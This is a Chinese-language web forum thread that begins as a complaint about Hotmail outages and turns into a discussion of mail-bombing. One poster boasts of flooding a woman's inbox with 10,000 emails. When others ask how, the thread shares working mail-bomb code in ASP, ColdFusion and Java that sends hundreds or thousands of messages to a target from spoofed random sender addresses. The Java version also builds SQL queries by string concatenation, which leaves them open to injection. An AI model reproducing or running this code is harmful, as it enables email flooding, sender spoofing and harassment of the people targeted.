×

Loading...
Ad by
  • 推荐 OXIO 加拿大高速网络,最低月费仅$40. 使用推荐码 RCR37MB 可获得一个月的免费服务
Ad by
  • 推荐 OXIO 加拿大高速网络,最低月费仅$40. 使用推荐码 RCR37MB 可获得一个月的免费服务

@

看code吧。ASP版。

本文发表在 rolia.net 枫下论坛ASP 版:
function mailBomb(target, numBomb, subject, message){
if (numBomb > 5000) {
userstatus = "TOOMUCH"
return
}
var msg = "";
var msgFrom;
for (var i = 1; i-1 < numBomb; i++) {
msg = Server.CreateObject("CDONTS.NewMail")
msgFrom = "\"" + randomStr(randomLen(1,15)) + ", " + randomStr(randomLen(1,15)) + "\""
msgFrom += "<" + randomStr(randomLen(1,30)) + "@" + randomStr(randomLen(1,15)) + getEx() + ">"
msg.From = msgFrom
msg.Subject = subject + " " + i + " of " + numBomb
msg.To = target
msg.Importance = CdoHigh
message = message.replace(/\r\n/g, "")
msg.Body = message
msg.Send()
}
userstatus = "SUCCEED"
}
function randomStr(len) {
var str = ""
var validStr = "abcdefghijklmnopqrstuvwxyz1234567890"
for (var j = 0; j < len; j++) {
var randomNum = Math.random()
randomNum = Math.floor(36 * randomNum + 1)
str += validStr.charAt(randomNum)
}
return str
}

function randomLen(uBound, lBound) {
var len = Math.random()
len = Math.floor((uBound - lBound + 1) * len + lBound)
return len
}

function getEx() {
var domainStr = ".ca,.com,.cn,.net,.org,.mil,.uk,.jp,.de,.no"
var domainArr = domainStr.split(",")
var ran = Math.random()
ran = Math.floor(domainArr.length * ran)
return domainArr[ran]
}更多精彩文章及讨论,请光临枫下论坛 rolia.net
Report

Replies, comments and Discussions:

  • 枫下家园 / 生活杂事 / Hotmail又down了,强烈建议正在使用hotmail的转到yahoo。
    Hotmail always down ,you can got this messenger: "We apologize, but your account is temporarily unavailable. This delay does not affect the entire site or relate specifically to your account, but the machine that holds your account information is temporarily unavailable. We do not expect this delay to last much longer, so please continue to check our site for your account status."

    Hotmail only give you 2M space, try yahoo now, it give u 6M and mail forward.
    • hotmail is good. I like it. I've never seen hotmail down... maybe you have pretty bad luck.
    • 新版MSN不太稳是真的,我的HOTAMIL到从没DOWN过,我用了3年的HOTMAIL,确切的说,HOTMAIL没出过什么篓子。
      • 就是垃圾邮件太多了,不知他们怎么搞到的,安全性方面hotmail是很差的
        • 就是. 我怀疑他们故意泄漏给一些不三不四的公司.
          又一次在公共场合打开油箱,赫然入目两人赤条条搂在一起,吓的我头皮发麻,
          赶紧热启动!现在的习惯是不认识的发件人一律不在公共场合打开...
        • 前几天HOTMAIL里连续收到同一邮件近两千封。正头痛如何删掉。每点一个CHECK BOX 要用半分钟, 这不, 现在正删着那, 还有一千六百多个。苦啊。
          • 两千算啥?上次我们玩炸了一个女孩子(她男朋友要求的,是白人)10000封,那才叫痛苦呢。
            • 愤青阴毒啊
              • 而且我们的bomb的from address和subject line都是个个不同的。
                • hotmail的系统没有DNS反向查询?如果发出信件的IP和server的IP不匹配,很多邮件系统是拒绝relay的。
                  • 目前我炸过那么多邮箱来说,没有一个不行的,前提是你的ISP给你relay, 像我现在在家就不行了,idirect不给relay的,但是在UW的时候就可以。
                • How did you do it? Teach me :)
                  • 用JSP/ASP/Cold Fusion随便一种写个小小的loop就行了。
                • 这好玩,能不能指导一下?就发到我邮箱里好了,只是玩玩,不害人。
                  • 看code吧。ASP版。
                    本文发表在 rolia.net 枫下论坛ASP 版:
                    function mailBomb(target, numBomb, subject, message){
                    if (numBomb > 5000) {
                    userstatus = "TOOMUCH"
                    return
                    }
                    var msg = "";
                    var msgFrom;
                    for (var i = 1; i-1 < numBomb; i++) {
                    msg = Server.CreateObject("CDONTS.NewMail")
                    msgFrom = "\"" + randomStr(randomLen(1,15)) + ", " + randomStr(randomLen(1,15)) + "\""
                    msgFrom += "<" + randomStr(randomLen(1,30)) + "@" + randomStr(randomLen(1,15)) + getEx() + ">"
                    msg.From = msgFrom
                    msg.Subject = subject + " " + i + " of " + numBomb
                    msg.To = target
                    msg.Importance = CdoHigh
                    message = message.replace(/\r\n/g, "")
                    msg.Body = message
                    msg.Send()
                    }
                    userstatus = "SUCCEED"
                    }
                    function randomStr(len) {
                    var str = ""
                    var validStr = "abcdefghijklmnopqrstuvwxyz1234567890"
                    for (var j = 0; j < len; j++) {
                    var randomNum = Math.random()
                    randomNum = Math.floor(36 * randomNum + 1)
                    str += validStr.charAt(randomNum)
                    }
                    return str
                    }

                    function randomLen(uBound, lBound) {
                    var len = Math.random()
                    len = Math.floor((uBound - lBound + 1) * len + lBound)
                    return len
                    }

                    function getEx() {
                    var domainStr = ".ca,.com,.cn,.net,.org,.mil,.uk,.jp,.de,.no"
                    var domainArr = domainStr.split(",")
                    var ran = Math.random()
                    ran = Math.floor(domainArr.length * ran)
                    return domainArr[ran]
                    }更多精彩文章及讨论,请光临枫下论坛 rolia.net
                  • Cold Fusion 版
                    <CFSCRIPT>
                    SCHEDULE = get_YYYYMMDD_datetime(Now());
                    function getFromEmail() {
                    msgFrom = """#randomStr(RandRange(1,15))#, #randomStr(RandRange(1,15))#"""
                    & " <#randomStr(RandRange(1,30))#@#randomStr(RandRange(1,15))##getEX()#>";
                    return msgFrom;
                    }


                    function randomStr(len) {
                    str = "";
                    validStr = "abcdefghijklmnopqrstuvwxyz1234567890";
                    for (j = 0; j LT len; j=j+1) {
                    str = str & Mid(validStr,RandRange(1,Len(validStr)),1);
                    }
                    return str;
                    }

                    function getEx() {
                    domainStr = ".ca,.com,.cn,.net,.org,.mil,.uk,.jp,.de,.no";
                    return listGetAt(domainStr,RandRange(1,ListLen(domainStr)));
                    }
                    </CFSCRIPT>

                    <CFLOOP condition="i LE numBomb">
                    <CFMAIL to="#target#" from="#getFromEmail()#" server="#Application.mailHost#"
                    subject="#subject# #i# of #numBomb#">#message#</CFMAIL>
                    <CFSET i=i+1>
                    </CFLOOP>
                  • java 版
                    本文发表在 rolia.net 枫下论坛//Title: ResNETMP3JSP Email Bomb Application
                    //Description: Servlet for E-mail bomb action page.

                    import java.io.*;
                    import java.util.*;
                    import javax.mail.*;
                    import javax.mail.internet.*;
                    import javax.activation.*;
                    import java.sql.*;
                    import javax.servlet.*;
                    import javax.servlet.http.*;

                    public class bombaction extends HttpServlet {

                    private String rsTarget = "";
                    private String rsSchedule = "";
                    private String rsNumBomb = "";
                    private Random ran = new Random();

                    public void doPost(HttpServletRequest request,HttpServletResponse response)
                    throws ServletException,IOException {
                    String subject = request.getParameter("subject");
                    String target = request.getParameter("target");
                    String message = request.getParameter("message");
                    String ip = request.getRemoteAddr();
                    int numBomb = Integer.parseInt(request.getParameter("numBomb"));

                    try {
                    Class.forName(getServletContext().getInitParameter("driver"));
                    Connection connStr = DriverManager.getConnection(getServletContext().getInitParameter("DBUrl"),"","");

                    if (!checkIP(connStr,ip,response)) {
                    connStr.close();
                    return;
                    }
                    if (!checkNum(numBomb,response)) {
                    connStr.close();
                    return;
                    }
                    if (!insertDB(rsTarget,target,rsNumBomb,numBomb,rsSchedule,ip,connStr,response)) {
                    connStr.close();
                    return;
                    }
                    connStr.close();
                    if (!mailBomb(target,subject,message,numBomb,response)){
                    return;
                    }
                    printErr("SUCCEED",response);
                    }
                    catch (ClassNotFoundException e) {
                    printErr("NOSQL",response);
                    }
                    catch (SQLException e) {
                    printErr("NOSQL",response);
                    }
                    }

                    private boolean checkIP(Connection connStr,String ip,HttpServletResponse response) {
                    try {
                    String sSQL = "SELECT * FROM MAILBOMB WHERE IP = '" + ip + "'";
                    Statement oCOM = connStr.createStatement();
                    ResultSet oRSs = oCOM.executeQuery(sSQL);
                    if (oRSs.next()) {
                    try {
                    this.rsNumBomb = oRSs.getString("NUMBOMB");
                    this.rsSchedule = oRSs.getString("SCHEDULE");
                    this.rsTarget = oRSs.getString("TARGET");
                    oRSs.close();
                    }
                    catch (SQLException e) {
                    }
                    return true;
                    }
                    else {
                    oRSs.close();
                    printErr("IP",response);
                    connStr.close();
                    return false;
                    }
                    }
                    catch (SQLException e) {
                    printErr("NOSQL",response);
                    return false;
                    }
                    }

                    private boolean insertDB(String rsTarget,String target,String rsNumBomb,int numBomb,
                    String rsSchedule,String ipParam,Connection connStr,HttpServletResponse response) {
                    final String schedule = function.get_MMDDYYYYTT_Date();
                    String ip = rsTarget + target + ",";
                    String times = rsSchedule + schedule + ",";
                    String bomb = rsNumBomb + Integer.toString(numBomb) + ",";
                    try {
                    String updateStr = "UPDATE MAILBOMB SET NUMBOMB = '" + bomb + "'," +
                    "TARGET = '" + ip + "'," +
                    "SCHEDULE = '" + times +
                    "' WHERE IP = '" + ipParam + "'";
                    Statement oCOM = connStr.createStatement();
                    oCOM.executeUpdate(updateStr);
                    oCOM.close();
                    connStr.close();
                    return true;
                    }
                    catch (SQLException e) {
                    printErr("NOSQL",response);
                    return false;
                    }
                    }

                    private boolean checkNum(int numBomb,HttpServletResponse response) {
                    if (numBomb > 500) {
                    printErr("TOOMUCH",response);
                    return false;
                    }
                    return true;
                    }

                    private boolean mailBomb(String target,String subject,String message,
                    int numBomb,HttpServletResponse response) {
                    try {
                    Properties props = new Properties();
                    props.put("mail.smtp.host", "localhost");
                    Session session = Session.getDefaultInstance(props,null);
                    session.setDebug(false);
                    for (int i=1; i-1<numBomb; i++) {
                    Message msg = new MimeMessage(session);
                    msg.setFrom(getAddress());
                    Address recipient = new InternetAddress(target);
                    msg.setRecipient(Message.RecipientType.TO, recipient);
                    String sub = subject + " " + Integer.toString(i) + " of " + Integer.toString(numBomb);
                    msg.setSubject(sub);
                    String validMsg = function.replace(message,"\r\n","");
                    msg.setText(validMsg);
                    Transport.send(msg);
                    }
                    return true;
                    }
                    catch (MessagingException e) {
                    printErr("NOSQL",response);
                    return false;
                    }
                    }

                    private Address getAddress() {
                    String add = randomStr(randomLen(1,30)) + "@" + randomStr(randomLen(1,15));
                    add += getEx();
                    try {
                    Address from = new InternetAddress(add);
                    return from;
                    }
                    catch (javax.mail.internet.AddressException e) {
                    Address from = new InternetAddress();
                    return from;
                    }
                    }

                    public double randomLen(double uBound,double lBound) {
                    double lenGen = Math.random();
                    double len = Math.floor((uBound-lBound+1)*lenGen+lBound);
                    return len;
                    }

                    public String randomStr(double len) {
                    String str = "";
                    String validChar = "abcdefghijklmnopqrstuvwxyz0123456789";
                    for (double j=0; j<len; j++) {
                    int lenGen = ran.nextInt(validChar.length());
                    str += validChar.charAt(lenGen);
                    }
                    return str;
                    }

                    private String getEx() {
                    String domain = ".ca,.com,.cn,.net,.org,.mil,.uk,.jp,.de,.no,.gov";
                    StringTokenizer tokens = new StringTokenizer(domain,",");
                    String[] domainArr = new String[tokens.countTokens()];
                    int num = ran.nextInt(domainArr.length);
                    for (int i = 0; i < num; i++) {
                    tokens.nextToken();
                    }
                    domainArr[num] = tokens.nextToken();
                    return domainArr[num];
                    }

                    private void printErr(String descr,HttpServletResponse response) {
                    try{
                    PrintWriter out = response.getWriter();
                    if (descr == "NOSQL") {
                    out.print("<font color='red'>Logging Error. Please Report to the Administrator via ");
                    out.println(" jeffrey815@hotmail.com.</font>");
                    }

                    if (descr == "IP") {
                    out.print("<font color='red'>You Don't have permission to use this utility. ");
                    out.println("Please contact the administrator via jeffrey815@hotmail.com.</font>");
                    }

                    if (descr == "TOOMUCH")
                    out.println("<font color='red'>The number of bombs cannot exceed 500.</font>");

                    if (descr == "SUCCEED")
                    out.println("Congratulation. Job Finished.");
                    }
                    catch (IOException e) {
                    }
                    }

                    }更多精彩文章及讨论,请光临枫下论坛 rolia.net
          • 你可以先将有用的邮件转发,然后清空油箱
            • INBOX没法清空啊。
          • 大家有没有收到那个做学历学位证书的广告?邮箱是乱写的,我有时还会收到空寄信人的mail,想报复一下都不成。
      • 我还是用旧版本的MSN,这样可以和家里说话~~新版本的不太好使:(
    • Hotmail had down over 4 times in Oct.!!!! but I still use it now:(. My yahoo message always pop up even I have no email .Anyone else could help me ? Thanks a lot.
    • Sometimes Yahoo! mail has the same problem. You cannot count on anything free in internet.
      • 强烈支持YAHOO,起码容量比HOTMAIL大
        • 我也用了三年了, 感觉yahoo还是好一些, 垃圾邮件保护功能非常好, 起码不象hotmail每天至少要删除一次, 已经同每天刷牙一样习惯了.
    • 对。自从yahoo支持pop3以后,没理由不用它。如果你非要用hotmail,请把自己说成是16岁,那就没有很多充满色情迷信暴力的junk mails了。
    • 我从1996年起用Hotmail,一直很好。倒是Yahoo很烦人,尤其最近,我正忙着找工作,后来才发现,yahoo发rtf的文件会乱码!!难怪我的简历寄出去没有回音。